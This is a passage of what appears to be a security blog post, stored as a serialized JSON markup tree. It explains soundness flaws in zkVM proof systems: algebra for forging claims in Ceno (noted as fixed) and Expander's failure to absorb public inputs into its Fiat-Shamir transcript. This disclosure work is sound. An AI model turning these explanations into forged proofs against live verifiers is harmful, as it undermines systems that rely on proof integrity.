product",{"type":23,"tag":41,"props":119993,"children":119995},{"className":119994},[21725],[119996],{"type":28,"value":2678},{"type":23,"tag":41,"props":119998,"children":120000},{"className":119999,"style":4190},[4092],[],{"type":23,"tag":41,"props":120002,"children":120004},{"className":120003},[4195],[120005],{"type":28,"value":2381},{"type":23,"tag":41,"props":120007,"children":120009},{"className":120008,"style":4190},[4092],[],{"type":23,"tag":41,"props":120011,"children":120013},{"className":120012},[4001],[120014,120018],{"type":23,"tag":41,"props":120015,"children":120017},{"className":120016,"style":114785},[4006],[],{"type":23,"tag":41,"props":120019,"children":120021},{"className":120020},[4012,28],[120022],{"type":23,"tag":41,"props":120023,"children":120025},{"className":120024},[4012],[120026],{"type":28,"value":114796},{"type":23,"tag":24,"props":120028,"children":120029},{},[120030,120032,120185],{"type":28,"value":120031},"This is bilinear in ",{"type":23,"tag":37,"props":120033,"children":120035},{"className":120034},[3984,3985],[120036],{"type":23,"tag":41,"props":120037,"children":120039},{"className":120038},[3990],[120040],{"type":23,"tag":41,"props":120041,"children":120043},{"className":120042,"ariaHidden":3996},[3995],[120044],{"type":23,"tag":41,"props":120045,"children":120047},{"className":120046},[4001],[120048,120052,120057,120114,120119,120123,120180],{"type":23,"tag":41,"props":120049,"children":120051},{"className":120050,"style":4113},[4006],[],{"type":23,"tag":41,"props":120053,"children":120055},{"className":120054},[21703],[120056],{"type":28,"value":1737},{"type":23,"tag":41,"props":120058,"children":120060},{"className":120059},[4012],[120061,120066],{"type":23,"tag":41,"props":120062,"children":120064},{"className":120063},[4012,21574],[120065],{"type":28,"value":19263},{"type":23,"tag":41,"props":120067,"children":120069},{"className":120068},[4028],[120070],{"type":23,"tag":41,"props":120071,"children":120073},{"className":120072},[4033,21628],[120074,120103],{"type":23,"tag":41,"props":120075,"children":120077},{"className":120076},[4038],[120078,120098],{"type":23,"tag":41,"props":120079,"children":120081},{"className":120080,"style":92817},[4043],[120082],{"type":23,"tag":41,"props":120083,"children":120084},{"style":92821},[120085,120089],{"type":23,"tag":41,"props":120086,"children":120088},{"className":120087,"style":4053},[4052],[],{"type":23,"tag":41,"props":120090,"children":120092},{"className":120091},[4058,4059,4060,4061],[120093],{"type":23,"tag":41,"props":120094,"children":120096},{"className":120095},[4012,4061],[120097],{"type":28,"value":4024},{"type":23,"tag":41,"props":120099,"children":120101},{"className":120100},[21731],[120102],{"type":28,"value":21734},{"type":23,"tag":41,"props":120104,"children":120106},{"className":120105},[4038],[120107],{"type":23,"tag":41,"props":120108,"children":120110},{"className":120109,"style":92848},[4043],[120111],{"type":23,"tag":41,"props":120112,"children":120113},{},[],{"type":23,"tag":41,"props":120115,"children":120117},{"className":120116},[4124],[120118],{"type":28,"value":4127},{"type":23,"tag":41,"props":120120,"children":120122},{"className":120121,"style":4131},[4092],[],{"type":23,"tag":41,"props":120124,"children":120126},{"className":120125},[4012],[120127,120132],{"type":23,"tag":41,"props":120128,"children":120130},{"className":120129},[4012,21574],[120131],{"type":28,"value":19263},{"type":23,"tag":41,"props":120133,"children":120135},{"className":120134},[4028],[120136],{"type":23,"tag":41,"props":120137,"children":120139},{"className":120138},[4033,21628],[120140,120169],{"type":23,"tag":41,"props":120141,"children":120143},{"className":120142},[4038],[120144,120164],{"type":23,"tag":41,"props":120145,"children":120147},{"className":120146,"style":92817},[4043],[120148],{"type":23,"tag":41,"props":120149,"children":120150},{"style":92821},[120151,120155],{"type":23,"tag":41,"props":120152,"children":120154},{"className":120153,"style":4053},[4052],[],{"type":23,"tag":41,"props":120156,"children":120158},{"className":120157},[4058,4059,4060,4061],[120159],{"type":23,"tag":41,"props":120160,"children":120162},{"className":120161},[4012,4061],[120163],{"type":28,"value":317},{"type":23,"tag":41,"props":120165,"children":120167},{"className":120166},[21731],[120168],{"type":28,"value":21734},{"type":23,"tag":41,"props":120170,"children":120172},{"className":120171},[4038],[120173],{"type":23,"tag":41,"props":120174,"children":120176},{"className":120175,"style":92848},[4043],[120177],{"type":23,"tag":41,"props":120178,"children":120179},{},[],{"type":23,"tag":41,"props":120181,"children":120183},{"className":120182},[21725],[120184],{"type":28,"value":2678},{"type":28,"value":706},{"type":23,"tag":24,"props":120187,"children":120188},{},[120189,120191,120344],{"type":28,"value":120190},"We have two unknowns ",{"type":23,"tag":37,"props":120192,"children":120194},{"className":120193},[3984,3985],[120195],{"type":23,"tag":41,"props":120196,"children":120198},{"className":120197},[3990],[120199],{"type":23,"tag":41,"props":120200,"children":120202},{"className":120201,"ariaHidden":3996},[3995],[120203],{"type":23,"tag":41,"props":120204,"children":120206},{"className":120205},[4001],[120207,120211,120216,120273,120278,120282,120339],{"type":23,"tag":41,"props":120208,"children":120210},{"className":120209,"style":4113},[4006],[],{"type":23,"tag":41,"props":120212,"children":120214},{"className":120213},[21703],[120215],{"type":28,"value":1737},{"type":23,"tag":41,"props":120217,"children":120219},{"className":120218},[4012],[120220,120225],{"type":23,"tag":41,"props":120221,"children":120223},{"className":120222},[4012,21574],[120224],{"type":28,"value":19263},{"type":23,"tag":41,"props":120226,"children":120228},{"className":120227},[4028],[120229],{"type":23,"tag":41,"props":120230,"children":120232},{"className":120231},[4033,21628],[120233,120262],{"type":23,"tag":41,"props":120234,"children":120236},{"className":120235},[4038],[120237,120257],{"type":23,"tag":41,"props":120238,"children":120240},{"className":120239,"style":92817},[4043],[120241],{"type":23,"tag":41,"props":120242,"children":120243},{"style":92821},[120244,120248],{"type":23,"tag":41,"props":120245,"children":120247},{"className":120246,"style":4053},[4052],[],{"type":23,"tag":41,"props":120249,"children":120251},{"className":120250},[4058,4059,4060,4061],[120252],{"type":23,"tag":41,"props":120253,"children":120255},{"className":120254},[4012,4061],[120256],{"type":28,"value":4024},{"type":23,"tag":41,"props":120258,"children":120260},{"className":120259},[21731],[120261],{"type":28,"value":21734},{"type":23,"tag":41,"props":120263,"children":120265},{"className":120264},[4038],[120266],{"type":23,"tag":41,"props":120267,"children":120269},{"className":120268,"style":92848},[4043],[120270],{"type":23,"tag":41,"props":120271,"children":120272},{},[],{"type":23,"tag":41,"props":120274,"children":120276},{"className":120275},[4124],[120277],{"type":28,"value":4127},{"type":23,"tag":41,"props":120279,"children":120281},{"className":120280,"style":4131},[4092],[],{"type":23,"tag":41,"props":120283,"children":120285},{"className":120284},[4012],[120286,120291],{"type":23,"tag":41,"props":120287,"children":120289},{"className":120288},[4012,21574],[120290],{"type":28,"value":19263},{"type":23,"tag":41,"props":120292,"children":120294},{"className":120293},[4028],[120295],{"type":23,"tag":41,"props":120296,"children":120298},{"className":120297},[4033,21628],[120299,120328],{"type":23,"tag":41,"props":120300,"children":120302},{"className":120301},[4038],[120303,120323],{"type":23,"tag":41,"props":120304,"children":120306},{"className":120305,"style":92817},[4043],[120307],{"type":23,"tag":41,"props":120308,"children":120309},{"style":92821},[120310,120314],{"type":23,"tag":41,"props":120311,"children":120313},{"className":120312,"style":4053},[4052],[],{"type":23,"tag":41,"props":120315,"children":120317},{"className":120316},[4058,4059,4060,4061],[120318],{"type":23,"tag":41,"props":120319,"children":120321},{"className":120320},[4012,4061],[120322],{"type":28,"value":317},{"type":23,"tag":41,"props":120324,"children":120326},{"className":120325},[21731],[120327],{"type":28,"value":21734},{"type":23,"tag":41,"props":120329,"children":120331},{"className":120330},[4038],[120332],{"type":23,"tag":41,"props":120333,"children":120335},{"className":120334,"style":92848},[4043],[120336],{"type":23,"tag":41,"props":120337,"children":120338},{},[],{"type":23,"tag":41,"props":120340,"children":120342},{"className":120341},[21725],[120343],{"type":28,"value":2678},{"type":28,"value":120345}," and two equations, one linear and one bilinear:",{"type":23,"tag":5436,"props":120347,"children":120348},{},[120349,120676],{"type":23,"tag":421,"props":120350,"children":120351},{},[120352,120354],{"type":28,"value":120353},"Linear (from GKR): ",{"type":23,"tag":37,"props":120355,"children":120357},{"className":120356},[3984,3985],[120358],{"type":23,"tag":41,"props":120359,"children":120361},{"className":120360},[3990],[120362],{"type":23,"tag":41,"props":120363,"children":120365},{"className":120364,"ariaHidden":3996},[3995],[120366,120502,120637,120663],{"type":23,"tag":41,"props":120367,"children":120369},{"className":120368},[4001],[120370,120375,120432,120489,120493,120498],{"type":23,"tag":41,"props":120371,"children":120374},{"className":120372,"style":120373},[4006],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":120376,"children":120378},{"className":120377},[4012],[120379,120384],{"type":23,"tag":41,"props":120380,"children":120382},{"className":120381},[4012,21574],[120383],{"type":28,"value":458},{"type":23,"tag":41,"props":120385,"children":120387},{"className":120386},[4028],[120388],{"type":23,"tag":41,"props":120389,"children":120391},{"className":120390},[4033,21628],[120392,120421],{"type":23,"tag":41,"props":120393,"children":120395},{"className":120394},[4038],[120396,120416],{"type":23,"tag":41,"props":120397,"children":120399},{"className":120398,"style":92817},[4043],[120400],{"type":23,"tag":41,"props":120401,"children":120402},{"style":92821},[120403,120407],{"type":23,"tag":41,"props":120404,"children":120406},{"className":120405,"style":4053},[4052],[],{"type":23,"tag":41,"props":120408,"children":120410},{"className":120409},[4058,4059,4060,4061],[120411],{"type":23,"tag":41,"props":120412,"children":120414},{"className":120413},[4012,4061],[120415],{"type":28,"value":4024},{"type":23,"tag":41,"props":120417,"children":120419},{"className":120418},[21731],[120420],{"type":28,"value":21734},{"type":23,"tag":41,"props":120422,"children":120424},{"className":120423},[4038],[120425],{"type":23,"tag":41,"props":120426,"children":120428},{"className":120427,"style":92848},[4043],[120429],{"type":23,"tag":41,"props":120430,"children":120431},{},[],{"type":23,"tag":41,"props":120433,"children":120435},{"className":120434},[4012],[120436,120441],{"type":23,"tag":41,"props":120437,"children":120439},{"className":120438},[4012,21574],[120440],{"type":28,"value":19263},{"type":23,"tag":41,"props":120442,"children":120444},{"className":120443},[4028],[120445],{"type":23,"tag":41,"props":120446,"children":120448},{"className":120447},[4033,21628],[120449,120478],{"type":23,"tag":41,"props":120450,"children":120452},{"className":120451},[4038],[120453,120473],{"type":23,"tag":41,"props":120454,"children":120456},{"className":120455,"style":92817},[4043],[120457],{"type":23,"tag":41,"props":120458,"children":120459},{"style":92821},[120460,120464],{"type":23,"tag":41,"props":120461,"children":120463},{"className":120462,"style":4053},[4052],[],{"type":23,"tag":41,"props":120465,"children":120467},{"className":120466},[4058,4059,4060,4061],[120468],{"type":23,"tag":41,"props":120469,"children":120471},{"className":120470},[4012,4061],[120472],{"type":28,"value":4024},{"type":23,"tag":41,"props":120474,"children":120476},{"className":120475},[21731],[120477],{"type":28,"value":21734},{"type":23,"tag":41,"props":120479,"children":120481},{"className":120480},[4038],[120482],{"type":23,"tag":41,"props":120483,"children":120485},{"className":120484,"style":92848},[4043],[120486],{"type":23,"tag":41,"props":120487,"children":120488},{},[],{"type":23,"tag":41,"props":120490,"children":120492},{"className":120491,"style":4093},[4092],[],{"type":23,"tag":41,"props":120494,"children":120496},{"className":120495},[4098],[120497],{"type":28,"value":4383},{"type":23,"tag":41,"props":120499,"children":120501},{"className":120500,"style":4093},[4092],[],{"type":23,"tag":41,"props":120503,"children":120505},{"className":120504},[4001],[120506,120510,120567,120624,120628,120633],{"type":23,"tag":41,"props":120507,"children":120509},{"className":120508,"style":120373},[4006],[],{"type":23,"tag":41,"props":120511,"children":120513},{"className":120512},[4012],[120514,120519],{"type":23,"tag":41,"props":120515,"children":120517},{"className":120516},[4012,21574],[120518],{"type":28,"value":458},{"type":23,"tag":41,"props":120520,"children":120522},{"className":120521},[4028],[120523],{"type":23,"tag":41,"props":120524,"children":120526},{"className":120525},[4033,21628],[120527,120556],{"type":23,"tag":41,"props":120528,"children":120530},{"className":120529},[4038],[120531,120551],{"type":23,"tag":41,"props":120532,"children":120534},{"className":120533,"style":92817},[4043],[120535],{"type":23,"tag":41,"props":120536,"children":120537},{"style":92821},[120538,120542],{"type":23,"tag":41,"props":120539,"children":120541},{"className":120540,"style":4053},[4052],[],{"type":23,"tag":41,"props":120543,"children":120545},{"className":120544},[4058,4059,4060,4061],[120546],{"type":23,"tag":41,"props":120547,"children":120549},{"className":120548},[4012,4061],[120550],{"type":28,"value":317},{"type":23,"tag":41,"props":120552,"children":120554},{"className":120553},[21731],[120555],{"type":28,"value":21734},{"type":23,"tag":41,"props":120557,"children":120559},{"className":120558},[4038],[120560],{"type":23,"tag":41,"props":120561,"children":120563},{"className":120562,"style":92848},[4043],[120564],{"type":23,"tag":41,"props":120565,"children":120566},{},[],{"type":23,"tag":41,"props":120568,"children":120570},{"className":120569},[4012],[120571,120576],{"type":23,"tag":41,"props":120572,"children":120574},{"className":120573},[4012,21574],[120575],{"type":28,"value":19263},{"type":23,"tag":41,"props":120577,"children":120579},{"className":120578},[4028],[120580],{"type":23,"tag":41,"props":120581,"children":120583},{"className":120582},[4033,21628],[120584,120613],{"type":23,"tag":41,"props":120585,"children":120587},{"className":120586},[4038],[120588,120608],{"type":23,"tag":41,"props":120589,"children":120591},{"className":120590,"style":92817},[4043],[120592],{"type":23,"tag":41,"props":120593,"children":120594},{"style":92821},[120595,120599],{"type":23,"tag":41,"props":120596,"children":120598},{"className":120597,"style":4053},[4052],[],{"type":23,"tag":41,"props":120600,"children":120602},{"className":120601},[4058,4059,4060,4061],[120603],{"type":23,"tag":41,"props":120604,"children":120606},{"className":120605},[4012,4061],[120607],{"type":28,"value":317},{"type":23,"tag":41,"props":120609,"children":120611},{"className":120610},[21731],[120612],{"type":28,"value":21734},{"type":23,"tag":41,"props":120614,"children":120616},{"className":120615},[4038],[120617],{"type":23,"tag":41,"props":120618,"children":120620},{"className":120619,"style":92848},[4043],[120621],{"type":23,"tag":41,"props":120622,"children":120623},{},[],{"type":23,"tag":41,"props":120625,"children":120627},{"className":120626,"style":4093},[4092],[],{"type":23,"tag":41,"props":120629,"children":120631},{"className":120630},[4098],[120632],{"type":28,"value":4383},{"type":23,"tag":41,"props":120634,"children":120636},{"className":120635,"style":4093},[4092],[],{"type":23,"tag":41,"props":120638,"children":120640},{"className":120639},[4001],[120641,120645,120650,120654,120659],{"type":23,"tag":41,"props":120642,"children":120644},{"className":120643,"style":110606},[4006],[],{"type":23,"tag":41,"props":120646,"children":120648},{"className":120647},[4012,21574],[120649],{"type":28,"value":3146},{"type":23,"tag":41,"props":120651,"children":120653},{"className":120652,"style":4190},[4092],[],{"type":23,"tag":41,"props":120655,"children":120657},{"className":120656},[4195],[120658],{"type":28,"value":2381},{"type":23,"tag":41,"props":120660,"children":120662},{"className":120661,"style":4190},[4092],[],{"type":23,"tag":41,"props":120664,"children":120666},{"className":120665},[4001],[120667,120671],{"type":23,"tag":41,"props":120668,"children":120670},{"className":120669,"style":93796},[4006],[],{"type":23,"tag":41,"props":120672,"children":120674},{"className":120673},[4012],[120675],{"type":28,"value":4024},{"type":23,"tag":421,"props":120677,"children":120678},{},[120679,120681],{"type":28,"value":120680},"Bilinear (from multiset): ",{"type":23,"tag":37,"props":120682,"children":120684},{"className":120683},[3984,3985],[120685],{"type":23,"tag":41,"props":120686,"children":120688},{"className":120687},[3990],[120689],{"type":23,"tag":41,"props":120690,"children":120692},{"className":120691,"ariaHidden":3996},[3995],[120693,120719,120797,120875,120901],{"type":23,"tag":41,"props":120694,"children":120696},{"className":120695},[4001],[120697,120701,120706,120710,120715],{"type":23,"tag":41,"props":120698,"children":120700},{"className":120699,"style":92680},[4006],[],{"type":23,"tag":41,"props":120702,"children":120704},{"className":120703,"style":94194},[4012,21574],[120705],{"type":28,"value":88678},{"type":23,"tag":41,"props":120707,"children":120709},{"className":120708,"style":4093},[4092],[],{"type":23,"tag":41,"props":120711,"children":120713},{"className":120712},[4098],[120714],{"type":28,"value":111027},{"type":23,"tag":41,"props":120716,"children":120718},{"className":120717,"style":4093},[4092],[],{"type":23,"tag":41,"props":120720,"children":120722},{"className":120721},[4001],[120723,120727,120784,120788,120793],{"type":23,"tag":41,"props":120724,"children":120726},{"className":120725,"style":119819},[4006],[],{"type":23,"tag":41,"props":120728,"children":120730},{"className":120729},[4012],[120731,120736],{"type":23,"tag":41,"props":120732,"children":120734},{"className":120733},[4012,21574],[120735],{"type":28,"value":19263},{"type":23,"tag":41,"props":120737,"children":120739},{"className":120738},[4028],[120740],{"type":23,"tag":41,"props":120741,"children":120743},{"className":120742},[4033,21628],[120744,120773],{"type":23,"tag":41,"props":120745,"children":120747},{"className":120746},[4038],[120748,120768],{"type":23,"tag":41,"props":120749,"children":120751},{"className":120750,"style":92817},[4043],[120752],{"type":23,"tag":41,"props":120753,"children":120754},{"style":92821},[120755,120759],{"type":23,"tag":41,"props":120756,"children":120758},{"className":120757,"style":4053},[4052],[],{"type":23,"tag":41,"props":120760,"children":120762},{"className":120761},[4058,4059,4060,4061],[120763],{"type":23,"tag":41,"props":120764,"children":120766},{"className":120765},[4012,4061],[120767],{"type":28,"value":4024},{"type":23,"tag":41,"props":120769,"children":120771},{"className":120770},[21731],[120772],{"type":28,"value":21734},{"type":23,"tag":41,"props":120774,"children":120776},{"className":120775},[4038],[120777],{"type":23,"tag":41,"props":120778,"children":120780},{"className":120779,"style":92848},[4043],[120781],{"type":23,"tag":41,"props":120782,"children":120783},{},[],{"type":23,"tag":41,"props":120785,"children":120787},{"className":120786,"style":4093},[4092],[],{"type":23,"tag":41,"props":120789,"children":120791},{"className":120790},[4098],[120792],{"type":28,"value":111027},{"type":23,"tag":41,"props":120794,"children":120796},{"className":120795,"style":4093},[4092],[],{"type":23,"tag":41,"props":120798,"children":120800},{"className":120799},[4001],[120801,120805,120862,120866,120871],{"type":23,"tag":41,"props":120802,"children":120804},{"className":120803,"style":120373},[4006],[],{"type":23,"tag":41,"props":120806,"children":120808},{"className":120807},[4012],[120809,120814],{"type":23,"tag":41,"props":120810,"children":120812},{"className":120811},[4012,21574],[120813],{"type":28,"value":19263},{"type":23,"tag":41,"props":120815,"children":120817},{"className":120816},[4028],[120818],{"type":23,"tag":41,"props":120819,"children":120821},{"className":120820},[4033,21628],[120822,120851],{"type":23,"tag":41,"props":120823,"children":120825},{"className":120824},[4038],[120826,120846],{"type":23,"tag":41,"props":120827,"children":120829},{"className":120828,"style":92817},[4043],[120830],{"type":23,"tag":41,"props":120831,"children":120832},{"style":92821},[120833,120837],{"type":23,"tag":41,"props":120834,"children":120836},{"className":120835,"style":4053},[4052],[],{"type":23,"tag":41,"props":120838,"children":120840},{"className":120839},[4058,4059,4060,4061],[120841],{"type":23,"tag":41,"props":120842,"children":120844},{"className":120843},[4012,4061],[120845],{"type":28,"value":317},{"type":23,"tag":41,"props":120847,"children":120849},{"className":120848},[21731],[120850],{"type":28,"value":21734},{"type":23,"tag":41,"props":120852,"children":120854},{"className":120853},[4038],[120855],{"type":23,"tag":41,"props":120856,"children":120858},{"className":120857,"style":92848},[4043],[120859],{"type":23,"tag":41,"props":120860,"children":120861},{},[],{"type":23,"tag":41,"props":120863,"children":120865},{"className":120864,"style":4093},[4092],[],{"type":23,"tag":41,"props":120867,"children":120869},{"className":120868},[4098],[120870],{"type":28,"value":4383},{"type":23,"tag":41,"props":120872,"children":120874},{"className":120873,"style":4093},[4092],[],{"type":23,"tag":41,"props":120876,"children":120878},{"className":120877},[4001],[120879,120883,120888,120892,120897],{"type":23,"tag":41,"props":120880,"children":120882},{"className":120881,"style":92680},[4006],[],{"type":23,"tag":41,"props":120884,"children":120886},{"className":120885},[4012,21574],[120887],{"type":28,"value":70559},{"type":23,"tag":41,"props":120889,"children":120891},{"className":120890,"style":4190},[4092],[],{"type":23,"tag":41,"props":120893,"children":120895},{"className":120894},[4195],[120896],{"type":28,"value":2381},{"type":23,"tag":41,"props":120898,"children":120900},{"className":120899,"style":4190},[4092],[],{"type":23,"tag":41,"props":120902,"children":120904},{"className":120903},[4001],[120905,120909],{"type":23,"tag":41,"props":120906,"children":120908},{"className":120907,"style":93796},[4006],[],{"type":23,"tag":41,"props":120910,"children":120912},{"className":120911},[4012],[120913],{"type":28,"value":4024},{"type":23,"tag":24,"props":120915,"children":120916},{},[120917],{"type":28,"value":120918},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":120920,"children":120921},{},[120922,120926,120928,120935,120937,120944],{"type":23,"tag":510,"props":120923,"children":120924},{},[120925],{"type":28,"value":116475},{"type":28,"value":120927}," Fixed on March 5, 2026 via ",{"type":23,"tag":458,"props":120929,"children":120932},{"href":120930,"rel":120931},"https://github.com/scroll-tech/ceno/pull/1262",[462],[120933],{"type":28,"value":120934},"PR #1262",{"type":28,"value":120936}," (original report: ",{"type":23,"tag":458,"props":120938,"children":120941},{"href":120939,"rel":120940},"https://github.com/scroll-tech/ceno/issues/1125",[462],[120942],{"type":28,"value":120943},"#1125",{"type":28,"value":2678},{"type":23,"tag":442,"props":120946,"children":120947},{},[],{"type":23,"tag":546,"props":120949,"children":120951},{"id":120950},"expander-polyhedra",[120952],{"type":28,"value":120953},"Expander (Polyhedra)",{"type":23,"tag":24,"props":120955,"children":120956},{},[120957],{"type":28,"value":120958},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":120960,"children":120961},{},[120962],{"type":23,"tag":510,"props":120963,"children":120964},{},[120965],{"type":28,"value":115181},{"type":23,"tag":31,"props":120967,"children":120969},{"code":120968},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[120970],{"type":23,"tag":37,"props":120971,"children":120972},{"__ignoreMap":7},[120973],{"type":28,"value":120968},{"type":23,"tag":24,"props":120975,"children":120976},{},[120977,120979,120985],{"type":28,"value":120978},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":37,"props":120980,"children":120982},{"className":120981},[],[120983],{"type":28,"value":120984},"eval_cst",{"type":28,"value":120986}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":31,"props":120988,"children":120990},{"code":120989,"language":2981,"meta":7,"className":2982,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120991],{"type":23,"tag":37,"props":120992,"children":120993},{"__ignoreMap":7},[120994],{"type":23,"tag":41,"props":120995,"children":120996},{"class":43,"line":44},[120997,121001,121006,121011,121015,121019,121023,121027,121032,121036,121041,121046,121050,121055],{"type":23,"tag":41,"props":120998,"children":120999},{"style":858},[121000],{"type":28,"value":76627},{"type":23,"tag":41,"props":121002,"children":121003},{"style":170},[121004],{"type":28,"value":121005}," -=",{"type":23,"tag":41,"props":121007,"children":121008},{"style":94},[121009],{"type":28,"value":121010}," GKRVerifierHelper",{"type":23,"tag":41,"props":121012,"children":121013},{"style":170},[121014],{"type":28,"value":3479},{"type":23,"tag":41,"props":121016,"children":121017},{"style":114},[121018],{"type":28,"value":120984},{"type":23,"tag":41,"props":121020,"children":121021},{"style":70},[121022],{"type":28,"value":1737},{"type":23,"tag":41,"props":121024,"children":121025},{"style":170},[121026],{"type":28,"value":855},{"type":23,"tag":41,"props":121028,"children":121029},{"style":858},[121030],{"type":28,"value":121031},"layer",{"type":23,"tag":41,"props":121033,"children":121034},{"style":170},[121035],{"type":28,"value":706},{"type":23,"tag":41,"props":121037,"children":121038},{"style":70},[121039],{"type":28,"value":121040},"const_, ",{"type":23,"tag":41,"props":121042,"children":121043},{"style":858},[121044],{"type":28,"value":121045},"public_input",{"type":23,"tag":41,"props":121047,"children":121048},{"style":70},[121049],{"type":28,"value":970},{"type":23,"tag":41,"props":121051,"children":121052},{"style":858},[121053],{"type":28,"value":121054},"sp",{"type":23,"tag":41,"props":121056,"children":121057},{"style":70},[121058],{"type":28,"value":3825},{"type":23,"tag":24,"props":121060,"children":121061},{},[121062,121064,121069],{"type":28,"value":121063},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":37,"props":121065,"children":121067},{"className":121066},[],[121068],{"type":28,"value":121054},{"type":28,"value":20729},{"type":23,"tag":24,"props":121071,"children":121072},{},[121073],{"type":23,"tag":510,"props":121074,"children":121075},{},[121076],{"type":28,"value":121077},"The vulnerability:",{"type":23,"tag":24,"props":121079,"children":121080},{},[121081,121086],{"type":23,"tag":37,"props":121082,"children":121084},{"className":121083},[],[121085],{"type":28,"value":121045},{"type":28,"value":121087}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":121089,"children":121090},{},[121091],{"type":23,"tag":3918,"props":121092,"children":121095},{"alt":121093,"src":121094},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":121097,"children":121098},{},[121099,121100,121105],{"type":28,"value":16601},{"type":23,"tag":37,"props":121101,"children":121103},{"className":121102},[],[121104],{"type":28,"value":120984},{"type":28,"value":121106}," function computes a linear combination:",{"type":23,"tag":24,"props":121108,"children":121109},{},[121110],{"type":23,"tag":37,"props":121111,"children":121113},{"className":121112},[3984,3985],[121114],{"type":23,"tag":41,"props":121115,"children":121117},{"className":121116},[3990],[121118],{"type":23,"tag":41,"props":121119,"children":121121},{"className":121120,"ariaHidden":3996},[3995],[121122,121167,121291],{"type":23,"tag":41,"props":121123,"children":121125},{"className":121124},[4001],[121126,121130,121139,121144,121154,121158,121163],{"type":23,"tag":41,"props":121127,"children":121129},{"className":121128,"style":94178},[4006],[],{"type":23,"tag":41,"props":121131,"children":121133},{"className":121132},[4012,28],[121134],{"type":23,"tag":41,"props":121135,"children":121137},{"className":121136},[4012],[121138],{"type":28,"value":37543},{"type":23,"tag":41,"props":121140,"children":121142},{"className":121141,"style":92765},[4012],[121143],{"type":28,"value":3084},{"type":23,"tag":41,"props":121145,"children":121147},{"className":121146},[4012,28],[121148],{"type":23,"tag":41,"props":121149,"children":121151},{"className":121150},[4012],[121152],{"type":28,"value":121153},"cst",{"type":23,"tag":41,"props":121155,"children":121157},{"className":121156,"style":4190},[4092],[],{"type":23,"tag":41,"props":121159,"children":121161},{"className":121160},[4195],[121162],{"type":28,"value":2381},{"type":23,"tag":41,"props":121164,"children":121166},{"className":121165,"style":4190},[4092],[],{"type":23,"tag":41,"props":121168,"children":121170},{"className":121169},[4001],[121171,121175,121232,121236,121263,121268,121273,121278,121282,121287],{"type":23,"tag":41,"props":121172,"children":121174},{"className":121173,"style":92707},[4006],[],{"type":23,"tag":41,"props":121176,"children":121178},{"className":121177},[21610],[121179,121184],{"type":23,"tag":41,"props":121180,"children":121182},{"className":121181,"style":21617},[21610,21615,21616],[121183],{"type":28,"value":108560},{"type":23,"tag":41,"props":121185,"children":121187},{"className":121186},[4028],[121188],{"type":23,"tag":41,"props":121189,"children":121191},{"className":121190},[4033,21628],[121192,121221],{"type":23,"tag":41,"props":121193,"children":121195},{"className":121194},[4038],[121196,121216],{"type":23,"tag":41,"props":121197,"children":121199},{"className":121198,"style":113972},[4043],[121200],{"type":23,"tag":41,"props":121201,"children":121202},{"style":21641},[121203,121207],{"type":23,"tag":41,"props":121204,"children":121206},{"className":121205,"style":4053},[4052],[],{"type":23,"tag":41,"props":121208,"children":121210},{"className":121209},[4058,4059,4060,4061],[121211],{"type":23,"tag":41,"props":121212,"children":121214},{"className":121213},[4012,21574,4061],[121215],{"type":28,"value":3737},{"type":23,"tag":41,"props":121217,"children":121219},{"className":121218},[21731],[121220],{"type":28,"value":21734},{"type":23,"tag":41,"props":121222,"children":121224},{"className":121223},[4038],[121225],{"type":23,"tag":41,"props":121226,"children":121228},{"className":121227,"style":114252},[4043],[121229],{"type":23,"tag":41,"props":121230,"children":121231},{},[],{"type":23,"tag":41,"props":121233,"children":121235},{"className":121234,"style":4131},[4092],[],{"type":23,"tag":41,"props":121237,"children":121239},{"className":121238},[4012],[121240,121249,121254],{"type":23,"tag":41,"props":121241,"children":121243},{"className":121242},[4012,28],[121244],{"type":23,"tag":41,"props":121245,"children":121247},{"className":121246},[4012],[121248],{"type":28,"value":127},{"type":23,"tag":41,"props":121250,"children":121252},{"className":121251,"style":92765},[4012],[121253],{"type":28,"value":3084},{"type":23,"tag":41,"props":121255,"children":121257},{"className":121256},[4012,28],[121258],{"type":23,"tag":41,"props":121259,"children":121261},{"className":121260},[4012],[121262],{"type":28,"value":8366},{"type":23,"tag":41,"props":121264,"children":121266},{"className":121265},[21703],[121267],{"type":28,"value":312},{"type":23,"tag":41,"props":121269,"children":121271},{"className":121270},[4012,21574],[121272],{"type":28,"value":3737},{"type":23,"tag":41,"props":121274,"children":121276},{"className":121275},[21725],[121277],{"type":28,"value":15402},{"type":23,"tag":41,"props":121279,"children":121281},{"className":121280,"style":4093},[4092],[],{"type":23,"tag":41,"props":121283,"children":121285},{"className":121284},[4098],[121286],{"type":28,"value":111027},{"type":23,"tag":41,"props":121288,"children":121290},{"className":121289,"style":4093},[4092],[],{"type":23,"tag":41,"props":121292,"children":121294},{"className":121293},[4001],[121295,121299,121308,121313,121318,121323,121327,121376],{"type":23,"tag":41,"props":121296,"children":121298},{"className":121297,"style":4113},[4006],[],{"type":23,"tag":41,"props":121300,"children":121302},{"className":121301},[4012,28],[121303],{"type":23,"tag":41,"props":121304,"children":121306},{"className":121305},[4012],[121307],{"type":28,"value":112354},{"type":23,"tag":41,"props":121309,"children":121311},{"className":121310},[21703],[121312],{"type":28,"value":1737},{"type":23,"tag":41,"props":121314,"children":121316},{"className":121315},[4012,21574],[121317],{"type":28,"value":3737},{"type":23,"tag":41,"props":121319,"children":121321},{"className":121320},[4124],[121322],{"type":28,"value":4127},{"type":23,"tag":41,"props":121324,"children":121326},{"className":121325,"style":4131},[4092],[],{"type":23,"tag":41,"props":121328,"children":121330},{"className":121329},[4012,111914],[121331],{"type":23,"tag